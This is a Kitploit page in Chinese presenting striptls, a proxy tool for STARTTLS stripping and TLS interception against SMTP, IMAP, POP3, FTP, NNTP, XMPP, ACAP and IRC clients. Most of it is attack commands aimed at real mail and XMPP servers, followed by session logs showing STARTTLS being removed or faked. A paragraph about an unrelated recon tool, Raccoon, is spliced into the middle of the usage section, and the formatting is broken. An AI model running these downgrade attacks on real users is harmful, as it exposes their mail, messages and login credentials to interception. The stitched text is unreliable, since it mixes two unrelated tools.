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striptls — STARTTLS剥离攻击的代理PoC实现 | Kitploit
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striptls

STARTTLS剥离攻击的代理PoC实现

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striptls - 审计代理

STARTTLS 剥离攻击的概念验证实现

一个通用的 TCP 代理实现和审计工具,用于执行 协议无关 的 ssl/tls 拦截以及针对 SMTP、POP3、IMAP、FTP、NNTP、XMPP、ACAP 和 IRC 的 STARTTLS 剥离攻击。

Python2!

🏆 战利品
  • CVE-2016-0772 - python: smtplib
  • CVE-2016-10027 - Smack XMPP 库

//使用本项目发现了漏洞?欢迎与我联系!

要求:
  • Python >= 2.7.9(SSLContext)< Python 3
  • (可选,用于 TLS 拦截)PEM 格式的证书和私钥(单个文件)--key=server.pem

攻击向量

  • 通用
  • Intercept - 协议无关的 ssl/tls 拦截。窥探 TLS 握手,将套接字转换为 tls(tls-to-tls 代理)
  • InboundIntercept - 仅针对入站信道的协议无关 ssl/tls 拦截(tls-to-plain 代理)
  • SMTP
  • SMTP.StripFromCapabilities - 服务器响应能力补丁
  • SMTP.StripWithInvalidResponseCode - 客户端 STARTTLS 剥离,无效响应码
  • SMTP.UntrustedIntercept - STARTTLS 拦截(客户端和服务器均使用 ssl)(需在当前目录中有 server.pem)
  • SMTP.StripWithTemporaryError
  • SMTP.StripWithError
  • SMTP.ProtocolDowngradeStripExtendedMode
  • SMTP.InjectCommand
  • SMTP.InboundStarttlsProxy -(starttls-to-plain 代理)
  • POP3
  • POP3.StripFromCapabilities
  • POP3.StripWithError
  • POP3.UntrustedIntercept
  • IMAP
  • IMAP.StripFromCapabilities
  • IMAP.StripWithError
  • IMAP.UntrustedIntercept
  • IMAP.ProtocolDowngradeToV2
  • FTP
  • FTP.StripFromCapabilities
  • FTP.StripWithError
  • FTP.UntrustedIntercept
  • NNTP
  • NNTP.StripFromCapabilities
  • NNTP.StripWithError
  • NNTP.UntrustedIntercept
  • XMPP
  • XMPP.StripFromCapabilities
  • XMPP.StripInboundTLS
  • XMPP.UntrustedIntercept
  • ACAP(未测试)
  • ACAP.StripFromCapabilities
  • ACAP.StripWithError
  • ACAP.UntrustedIntercept
  • IRC
  • IRC.StripFromCapabilities
  • IRC.StripWithError
  • IRC.UntrustedIntercept
  • IRC.StripWithNotRegistered
  • IRC.StripCAPWithNotregistered
  • IRC.StripWithSilentDrop

结果:```python

  • [*] client: 127.0.0.1
  • root@kitploit:~
    [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
    
  • root@kitploit:~
    [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
    
  • root@kitploit:~
    [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
    
  • root@kitploit:~
    [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
    
  • [*] client: 192.168.139.1
  • root@kitploit:~
    [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
    
  • root@kitploit:~
    [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
    
  • root@kitploit:~
    [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
    
root@kitploit:~
## 用法```
#> python2 -m pip install striptls
#> python2 -m striptls --help

Raccoon

Raccoon 是一个用于侦察和漏洞扫描的进攻性安全工具。

功能特点

  • DNS 侦察
  • WHOIS 信息收集
  • TLS 密码套件枚举
  • 端口扫描与服务检测
  • Web 漏洞扫描与利用
  • Google dorking.

安装

要安装 Raccoon,你只需要确保机器上安装了 go。

运行:

root@kitploit:~
$ go get github.com/evilsocket/raccoon

然后通过以下方式运行 Raccoon:

root@kitploit:~
$ raccoon -h

或者:

root@kitploit:~
$ go run raccoon.go -h

使用方法

例如:

root@kitploit:~
$ raccoon 10.0.0.1

#> python -m striptls --help # from pip/setup.py #> python striptls --help # from source / root folder Usage: striptls.py [options]

root@kitploit:~
   example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25

Options: -h, --help show this help message and exit -q, --quiet be quiet [default: True] -l LISTEN, --listen=LISTEN listen ip:port [default: 0.0.0.0:<remote_port>] -r REMOTE, --remote=REMOTE remote target ip:port to forward sessions to -k KEY, --key=KEY SSL Certificate and Private key file to use, PEM format assumed [default: server.pem] -s, --generic-ssl-intercept dynamically intercept SSL/TLS -b BUFFER_SIZE, --bufsiz=BUFFER_SIZE -x VECTORS, --vectors=VECTORS Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: ACAP.StripFromCapabilities, ACAP.StripWithError, ACAP.UntrustedIntercept, FTP.StripFromCapabilities, FTP.StripWithError, FTP.UntrustedIntercept, GENERIC.Intercept, IMAP.ProtocolDowngradeToV2, IMAP.StripFromCapabilities, IMAP.StripWithError, IMAP.UntrustedIntercept, IRC.StripCAPWithNotRegistered, IRC.StripFromCapabilities, IRC.StripWithError, IRC.StripWithNotRegistered, IRC.StripWithSilentDrop, IRC.UntrustedIntercept, NNTP.StripFromCapabilities, NNTP.StripWithError, NNTP.UntrustedIntercept, POP3.StripFromCapabilities, POP3.StripWithError, POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy, SMTP.InjectCommand, SMTP.ProtocolDowngradeStripExtendedMode, SMTP.StripFromCapabilities, SMTP.StripWithError, SMTP.StripWithInvalidResponseCode, SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept, XMPP.StripFromCapabilities, XMPP.StripInboundTLS, XMPP.UntrustedIntercept [default: ALL]

root@kitploit:~
## 安装(可选)

通过 pip

    #> pip install striptls

通过源码

    #> setup.py install

## 示例

	                  入站                    出站
	[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
	  smtp-client                   striptls                    remote/target
	  
本地 `smtp-client` -> `localhost:8825` (代理) -> `mail.gmx.net:25`

### 通用 SSL/TLS 拦截
	
`--generic-ssl-intercept` 是一个全局开关,用于启用通用 SSL/TLS 握手检测和会话转换。可与任何 mangle/vector 组合使用。

`GENERIC.Intercept` 是一个 mangle/vector 实现,用于 SSL/TLS 握手检测和转换功能。

	# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
	- INFO     - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
	- DEBUG    - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
	- INFO     - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
	- INFO     - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
	- INFO     - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
	- DEBUG    - <RewriteDispatcher  - changed mangle: __main__.Intercept new: True>
	- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
	- INFO     - SSL Handshake detected - performing ssl/tls conversion
	- DEBUG    - <Session 0x1ff00b0> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1ff00b0> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1ff00b0> [client] => [server]          'hi\r\n'
	- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '500 Syntax error, command unrecognized\r\n'
	
	# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
	- INFO     - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
	- INFO     - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
	- DEBUG    - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
	- INFO     - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO openssl.client.net\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 OK\r\n'
	- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
	- INFO     - SSL Handshake detected - performing ssl/tls conversion
	- DEBUG    - <Session 0x1f10110> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1f10110> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO A\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'

### 审计模式

逐个遍历所有针对客户端的协议特定案例,并跟踪违反 starttls 协议的客户端。按 Ctrl+C 中止审计并打印结果。

	#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
	- INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
	- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>
	- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
	- DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
	- INFO     - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
	- DEBUG    - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
	- INFO     - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithInvalidResponseCode new: True>
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffcf6e4cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffcf6e4cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
	- INFO     - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithTemporaryError new: True>
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffd0918cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffd0918cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
	- INFO     - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
	- DEBUG    - <Session 0xffd0926cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
	- WARNING  - <Session 0xffd0926cL> terminated.
	- DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
	- INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0xffd0934cL> terminated.
	- WARNING  - Ctrl C - Stopping server
	- INFO     -  -- audit results --
	- INFO     - [*] client: 127.0.0.1
	- INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
	- INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
	- INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
	- INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

### 从服务器能力中移除 STARTTLS

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
	- INFO     - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
	- DEBUG    - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
	- INFO     - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1fe6f10> terminated.

### 无效的 STARTTLS 响应码

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
	- INFO     - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
	- DEBUG    - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
	- INFO     - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server][mangled] None
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1feff10> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1feff10> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1feff10> terminated.

### 不受信任的 SSL 拦截(适用于不检查服务器证书信任的客户端)

	#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
	- INFO     - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- INFO     - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
	- DEBUG    - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
	- INFO     - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
	- DEBUG    - <Session 0x1f46990> [client] => [server][mangled] None
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'mail FROM:<[email protected]> size=10\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '530 Authentication required\r\n'
	- DEBUG    - <Session 0x1f46990> [client] => [server]          'rset\r\n'
	- DEBUG    - <Session 0x1f46990> [client] <= [server]          '250 OK\r\n'
	- WARNING  - <Session 0x1f46990> terminated.

### XMPP 审计跟踪

示例:Pidgin 搭配可选的传输安全性。

#### XMPP.StripInboundTLS - 入站明文 - 出站 TLS - 当服务器要求 starttls 时python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
        - INFO     - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> 已就绪。
        ...
        - DEBUG    - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - 协议已检测(目标端口)
        ...
        - INFO     - <Session 0x7f083196a7d0> 客户端 ('192.168.139.1', 56888) 已连接
        - INFO     - <Session 0x7f083196a7d0> 正在连接目标 ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] => [服务器]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - 已更改修改器: striptls.StripInboundTLS new: True>
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] => [服务器][已修改] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] => [服务器][已修改] 正在执行出站 SSL 握手
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器][已修改] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] => [服务器]          "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器]          "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
        - DEBUG    - <Session 0x7f083196a7d0> [客户端] <= [服务器]          '</stream:stream>'
        - WARNING  - <Session 0x7f083196a7d0> 已终止。

#### XMPP.StripFromCapabilities - 从服务器公告中移除 starttls

        - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - 协议已检测(目标端口)
        - INFO     - <Session 0x7f083196a910> 客户端 ('192.168.139.1', 56890) 已连接
        - INFO     - <Session 0x7f083196a910> 正在连接目标 ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a910> [客户端] => [服务器]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - 已更改修改器: striptls.StripFromCapabilities new: True>
        - DEBUG    - <Session 0x7f083196a910> [客户端] <= [服务器]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a910> [客户端] <= [服务器]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [客户端] <= [服务器][已修改] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [客户端] => [服务器]          "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a910> [客户端] <= [服务器]          "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
        - WARNING  - <Session 0x7f083196a910> 已终止。

#### XMPP.StripUntrustedIntercept - 使用自定义证书/密钥进行 TLS 入站和出站拦截

